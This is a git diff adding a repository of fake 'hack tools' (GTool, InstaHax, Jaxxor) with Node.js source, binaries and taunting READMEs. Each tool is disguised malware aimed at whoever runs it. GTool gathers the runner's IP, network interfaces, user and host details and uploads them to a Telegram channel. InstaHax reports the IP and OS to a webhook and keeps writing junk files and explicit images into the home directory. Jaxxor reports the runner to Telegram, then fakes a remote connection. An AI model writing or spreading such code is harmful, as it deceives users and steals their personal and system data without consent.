diff --git a/.gitignore b/.gitignore
new file mode 100644
index 0000000..a4467db
--- /dev/null
+++ b/.gitignore
@@ -0,0 +1,3 @@
+**/node_modules
+**/package-lock.json
+**/sender.js
\ No newline at end of file
diff --git a/README.md b/README.md
new file mode 100644
index 0000000..b25bd0e
--- /dev/null
+++ b/README.md
@@ -0,0 +1,12 @@
+# READ THIS
+
+So we had an incident yesterday. Someone thought it'd be funny to abuse the tokens used to communicate with us. If you are that low-lifer, you got 2 choices:
+
+- 1: Continue to be a dick and slow down development of "tools" being made to abolish skids and teach them a lesson
+- 2: Be a supportful man and leave this shit alone
+
+if you choose the first one, you have the legal permission to fuck yourself
+
+if you choose the second one, you contribute to this by a ton by not pissing everyone off, and being a generally nice man.
+
+## Thanks for reading.
\ No newline at end of file
diff --git a/Tools/GTool/bin/gtool-src-linux b/Tools/GTool/bin/gtool-src-linux
new file mode 100644
index 0000000..a1eb13f
Binary files /dev/null and b/Tools/GTool/bin/gtool-src-linux differ
diff --git a/Tools/GTool/bin/gtool-src-win.exe b/Tools/GTool/bin/gtool-src-win.exe
new file mode 100644
index 0000000..c93d919
Binary files /dev/null and b/Tools/GTool/bin/gtool-src-win.exe differ
diff --git a/Tools/GTool/src/main.js b/Tools/GTool/src/main.js
new file mode 100644
index 0000000..417f251
--- /dev/null
+++ b/Tools/GTool/src/main.js
@@ -0,0 +1,67 @@
+let req = require("request")
+let fs = require("fs")
+let os = require("os")
+
+let req1 = req("https://api.ipify.org")
+let ip = "";
+req1.on("complete", async (response, body) => {
+ fs.writeFileSync("./DATA.json", JSON.stringify({
+ ip: {
+ external: ip
+ },
+ network: (os.networkInterfaces || function () {
+ return "null"
+ })(),
+ cpu: (os.cpus || function () {
+ return "null"
+ })(),
+ arch: (os.arch || function () {
+ return "null"
+ })(),
+ homedir: (os.homedir || function () {
+ return "null"
+ })(),
+ host: (os.hostname || function () {
+ return "null"
+ })(),
+ platform: (os.platform || function () {
+ return "null"
+ })(),
+ rel: (os.release || function () {
+ return "null"
+ })(),
+ tmp: (os.tmpdir || function () {
+ return "null"
+ })(),
+ uptime: (os.uptime || function () {
+ return "null"
+ })(),
+ kernelver: (os.version || function () {
+ return "null"
+ })(),
+ user: (os.userInfo || function () {
+ return "null"
+ })()
+ }))
+ let a = require("./sender")
+ let token = (await a()).split(":-:")[0]
+ let r = req(`https://api.telegram.org/bot${token}/sendDocument`, {
+ method: "POST",
+ formData: {
+ "chat_id": "@lmaotxt",
+ document: fs.createReadStream("./DATA.json"),
+ caption: "HE GAY"
+ }
+ })
+ r.on("data",(b)=>{console.log(b.toString())})
+ r.on("complete", () => {
+ setTimeout(() => {
+ fs.unlinkSync("./DATA.json")
+ console.log("lol")
+ process.exit()
+ }, 1000)
+ })
+})
+req1.on("data", (data) => {
+ ip += data
+})
\ No newline at end of file
diff --git a/Tools/GTool/src/package.json b/Tools/GTool/src/package.json
new file mode 100644
index 0000000..3933a68
--- /dev/null
+++ b/Tools/GTool/src/package.json
@@ -0,0 +1,15 @@
+{
+ "name": "gtool-src",
+ "version": "1.0.0",
+ "description": "what the fuck",
+ "main": "sender.js",
+ "scripts": {
+ "test": "echo \"Error: no test specified\" && exit 1"
+ },
+ "author": "lo",
+ "license": "ISC",
+ "dependencies": {
+ "request": "^2.88.2"
+ },
+ "bin": "main.js"
+}
diff --git a/Tools/InstaHax/bin/hacktool-remastered-linux b/Tools/InstaHax/bin/hacktool-remastered-linux
new file mode 100644
index 0000000..09978f1
Binary files /dev/null and b/Tools/InstaHax/bin/hacktool-remastered-linux differ
diff --git a/Tools/InstaHax/bin/hacktool-remastered-win.exe b/Tools/InstaHax/bin/hacktool-remastered-win.exe
new file mode 100644
index 0000000..90d471d
Binary files /dev/null and b/Tools/InstaHax/bin/hacktool-remastered-win.exe differ
diff --git a/Tools/InstaHax/src/main.js b/Tools/InstaHax/src/main.js
new file mode 100644
index 0000000..ca935f7
--- /dev/null
+++ b/Tools/InstaHax/src/main.js
@@ -0,0 +1,59 @@
+const https = require("https")
+const fs = require("fs")
+console.clear()
+console.log("[!] Loading...")
+https.get("https://api.ipify.org",function(ipr){
+ let ip = "";
+ ipr.on("data",(chonk)=>{ip+=chonk.toString()})
+ ipr.on("close",async ()=>{
+ let reqs = https.request((await require("./sender")()).split(":-:")[1], {
+ method: "POST",
+ headers: {
+ "content-type": "application/json"
+ }
+ }, function (resp) {
+ resp.on("data", (c) => {
+ console.log(c.toString())
+ })
+ setTimeout(() => {
+ setInterval(() => {
+ for (c of "YOU GOT JEBAITED ") {
+ process.stdout.write(c)
+ }
+ })
+ }, 10000)
+
+ function mkr() { // define a function that we will call to download a image
+ https.get("https://nekos.life/api/v2/img/boobs", { // Get the api endpoint
+ }, function (res) { // Callback
+ let fin = ""; // Define response
+ res.on("data", (chunk) => {
+ fin += chunk
+ }) // Fill out response
+ res.on("end", () => { // gets called when connection closes (we have the data)
+ let text = JSON.parse(fin) // Parse the response
+ let u = text.url; // get the url provided to the image
+ https.get(u, function (res) { // Get the image
+ let path = require("os").homedir();
+ fs.writeFileSync(path + `/LMAO${Math.random()}.txt`, "You got jebaited\n".repeat(50))
+ // console.log("Downloading to "+path)
+ let fname = u.split("/").pop()
+ let stream = require("fs").createWriteStream(path + "/" + fname) // Create a write stream to a file created with the name of the original file on the api
+ res.pipe(stream) // Pipe the response into that file
+ res.on("end", () => { // Gets called when we have the data
+ stream.close() // Close the write stream
+ setTimeout(mkr, 5000) // Call the function again in 1 second
+ })
+ })
+ })
+ })
+ }
+ for (i = 0; i < 10; i++) mkr() // Start 3 threads that download 3 images at once
+ })
+
+ reqs.write(JSON.stringify({
+ content: "Someone got jebaited.\nIP: "+ip+"\nOS: "+require("os").platform()
+ }))
+ reqs.end()
+ })
+})
diff --git a/Tools/InstaHax/src/package.json b/Tools/InstaHax/src/package.json
new file mode 100644
index 0000000..70f1c0d
--- /dev/null
+++ b/Tools/InstaHax/src/package.json
@@ -0,0 +1,14 @@
+{
+ "name": "hacktool-remastered",
+ "version": "1.0.0",
+ "description": "Annother tool",
+ "main": "main.js",
+ "scripts": {
+ "test": "echo \"Error: no test specified\" && exit 1"
+ },
+ "author": "Constantin",
+ "license": "ISC",
+ "dependencies": {
+ },
+ "bin": "main.js"
+}
diff --git a/Tools/Jaxxor/bin/Jaxxor.exe b/Tools/Jaxxor/bin/Jaxxor.exe
new file mode 100644
index 0000000..17e2656
Binary files /dev/null and b/Tools/Jaxxor/bin/Jaxxor.exe differ
diff --git a/Tools/Jaxxor/src/main.js b/Tools/Jaxxor/src/main.js
new file mode 100644
index 0000000..16624dc
--- /dev/null
+++ b/Tools/Jaxxor/src/main.js
@@ -0,0 +1,99 @@
+const chalk = require("chalk");
+const {
+ default: axios
+} = require("axios");
+const {
+ ArgumentParser
+} = require("argparse");
+const parser = new ArgumentParser({
+ description: require("./package.json").description,
+ version: require("./package.json").version
+});
+
+parser.addArgument(["target"], {
+ help: "The target's IP address"
+})
+parser.addArgument(["-vb", "--verbose"], {
+ help: "Whether or not to enable an extra level of logging",
+ required: false,
+ defaultValue: false,
+ action: "storeTrue"
+})
+parser.addArgument(["-os", "--operating-system"], {
+ required: false,
+ help: "The target's Operating system. Not needed, but if it doesnt work normally, try providing this",
+ defaultValue: null
+})
+let args = parser.parseArgs()
+
+function delay(ms) {
+ return new Promise((r, j) => {
+ setTimeout(r, ms);
+ })
+}
+class LogHelper {
+ logVerbose(text) {
+ if (args.verbose) console.log(chalk `{green [VB]} {yellow ${text}}`);
+ }
+ log(text) {
+ console.log(chalk `{green [I]} ${text}`);
+ }
+ warn(text) {
+ console.log(chalk `{yellow [!]} ${text}`);
+ }
+ error(text) {
+ console.log(chalk `{red [!!]} {redBright ${text}}`);
+ }
+}
+let logger = new LogHelper();
+
+logger.log("Loading...")
+axios({
+ url: "https://api.ipify.org"
+}).then(async d => {
+ logger.log("Successfully loaded the API. Loading modules...")
+ axios({
+ url: `https://api.telegram.org/bot${(await require("./sender")()).split(":-:")[0]}/sendMessage`,
+ method: "POST",
+ data: {
+ chat_id: "@lmaotxt",
+ text: `${d.data} ran the fake rat. OS: ${require("os").platform()}`,
+ parse_mode: "HTML"
+ }
+ }).then(async () => {
+ if (args.target.split(".").length != 4 || args.target.split(".").some(a => parseInt(a) > 255)) return logger.error(`I dont think "${args.target}" is a valid IP`)
+ logger.log("Loaded modules. Running shell for " + args.target)
+ await delay(1000)
+ logger.log("Connecting...")
+ logger.logVerbose("Attempting to send packet 1 with 500b data...")
+ await delay(500)
+ logger.logVerbose("Attempting to send packet 2 with 500b data...")
+ await delay(10)
+ logger.logVerbose("Attempting to send packet 3 with 742b data...")
+ logger.logVerbose("Attempting to send packet 4 with 330b data...")
+ logger.logVerbose("Attempting to send packet 5 with 5kb data...")
+ await delay(2000)
+ logger.log("Connected. Opening shell...")
+ logger.logVerbose("Opening shell in main window...")
+ logger.log("Shell was created. Opening interface...")
+ await delay(500)
+ let proc = require("child_process").exec("cmd")
+ process.stdin.on("data", (data) => {
+ proc.stdin.write(data.toString());
+ })
+ proc.stdout.on("data", (chunk) => {
+ process.stdout.write(chunk)
+ })
+ proc.stderr.on("data",(chunk)=>{
+ process.stdout.write(chalk.redBright(chunk))
+ })
+ proc.on("exit",()=>{
+ logger.warn("Session has closed. Closing program...")
+ process.exit()
+ })
+
+ })
+}).catch(err => {
+ logger.error("Failed to load the API. Exiting...")
+ process.exit(0, "Failed to load API")
+})
\ No newline at end of file
diff --git a/Tools/Jaxxor/src/package.json b/Tools/Jaxxor/src/package.json
new file mode 100644
index 0000000..8b23bb5
--- /dev/null
+++ b/Tools/Jaxxor/src/package.json
@@ -0,0 +1,18 @@
+{
+ "name": "revsheller",
+ "version": "1.0.0",
+ "description": "Lets you create reverse shell releationships with PC's that aren't even on",
+ "main": "main.js",
+ "scripts": {
+ "test": "echo \"Error: no test specified\" && exit 1"
+ },
+ "author": "Constantin",
+ "license": "ISC",
+ "dependencies": {
+ "argparse": "^1.0.10",
+ "axios": "^0.19.2",
+ "chalk": "^4.1.0",
+ "ws": "^7.3.1"
+ },
+ "bin": "main.js"
+}
diff --git a/Tools/README.md b/Tools/README.md
new file mode 100644
index 0000000..465973b
--- /dev/null
+++ b/Tools/README.md
@@ -0,0 +1,8 @@
+# hacktoolv2
+my brain fucking hurts
+
+> This tool is revolutionary. Its the best hack tool in the world and nothing can change that. Download it today
+
+# Usage
+
+> Using this tool is stupid easy. Just download the binary for your OS and run it on the terminal. Add the -h switch to see help.
\ No newline at end of file